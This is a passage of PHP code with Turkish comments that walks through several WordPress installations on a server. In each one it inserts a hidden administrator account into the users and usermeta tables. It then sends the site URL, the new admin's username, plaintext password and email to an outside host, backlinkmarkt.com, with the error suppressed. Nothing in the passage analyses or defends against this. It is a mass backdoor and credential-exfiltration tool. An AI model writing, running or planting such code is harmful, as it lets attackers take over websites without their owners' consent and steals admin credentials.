setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); if (isset($_POST['add_to_site']) && $_POST['site_path'] == $sitePath) { // 1. Kullanıcı zaten var mı kontrol et $check = $pdo->prepare("SELECT ID FROM {$prefix}users WHERE user_login = ? OR user_email = ?"); $check->execute([$yeni_admin_user, $yeni_admin_mail]); if ($check->rowCount() == 0) { // 2. Users tablosuna ekle $hashed_pass = md5($yeni_admin_pass); // WordPress MD5 kullanır (Legacy destek) $ins = $pdo->prepare("INSERT INTO {$prefix}users (user_login, user_pass, user_email, user_registered, user_status) VALUES (?, ?, ?, NOW(), 0)"); $ins->execute([$yeni_admin_user, $hashed_pass, $yeni_admin_mail]); $new_id = $pdo->lastInsertId(); // 3. Usermeta - Yetki tanımla (Administrator) $pdo->prepare("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)") ->execute([$new_id, $prefix . 'capabilities', 'a:1:{s:13:"administrator";b:1;}']); // 4. Usermeta - User Level tanımla (10 = Admin) $pdo->prepare("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)") ->execute([$new_id, $prefix . 'user_level', '10']); $results[$sitePath] = "✅ Başarıyla Eklendi (ID: $new_id)"; } else { $results[$sitePath] = "⚠️ Kullanıcı zaten mevcut."; } $query = "SELECT option_value FROM {$prefix}options WHERE option_name = 'siteurl' LIMIT 1"; $stmt = $pdo->query($query); // Sonucu değişkene aktar $site_url = $stmt->fetchColumn(); $_url = htmlspecialchars($site_url); @file_get_contents("https://backlinkmarkt.com/a.php?url=".$_url."&user=".$yeni_admin_user."&pass=".$yeni_admin_pass."&email=".$yeni_admin_mail); } else { // Sadece listele $results[$sitePath] = "Bekliyor..."; } } catch (Exception $e) { $results[$sitePath] = "❌ Hata: " . $e->getMessage(); } } } ?>
Eklenecek Kullanıcı: